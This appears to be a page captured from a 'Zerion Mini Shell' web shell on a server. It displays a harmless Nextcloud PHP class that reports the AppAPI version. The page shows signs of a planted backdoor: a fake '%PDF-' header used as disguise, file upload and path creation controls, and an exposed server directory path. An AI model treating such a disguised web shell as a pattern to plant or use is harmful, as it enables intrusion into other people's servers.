%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/varak.net/nextcloud.varak.net/apps_old/apps/app_api/lib/
Upload File :
Create Path :
Current File : //www/varak.net/nextcloud.varak.net/apps_old/apps/app_api/lib/PublicCapabilities.php

<?php

declare(strict_types=1);

namespace OCA\AppAPI;

use OCA\AppAPI\AppInfo\Application;

use OCP\App\IAppManager;
use OCP\Capabilities\IPublicCapability;

class PublicCapabilities implements IPublicCapability {

	public function __construct(
		private IAppManager $appManager,
	) {
	}

	public function getCapabilities(): array {
		$capabilities = [
			'version' => $this->appManager->getAppVersion(Application::APP_ID),
		];
		return [
			'app_api' => $capabilities,
		];
	}
}

Zerion Mini Shell 1.0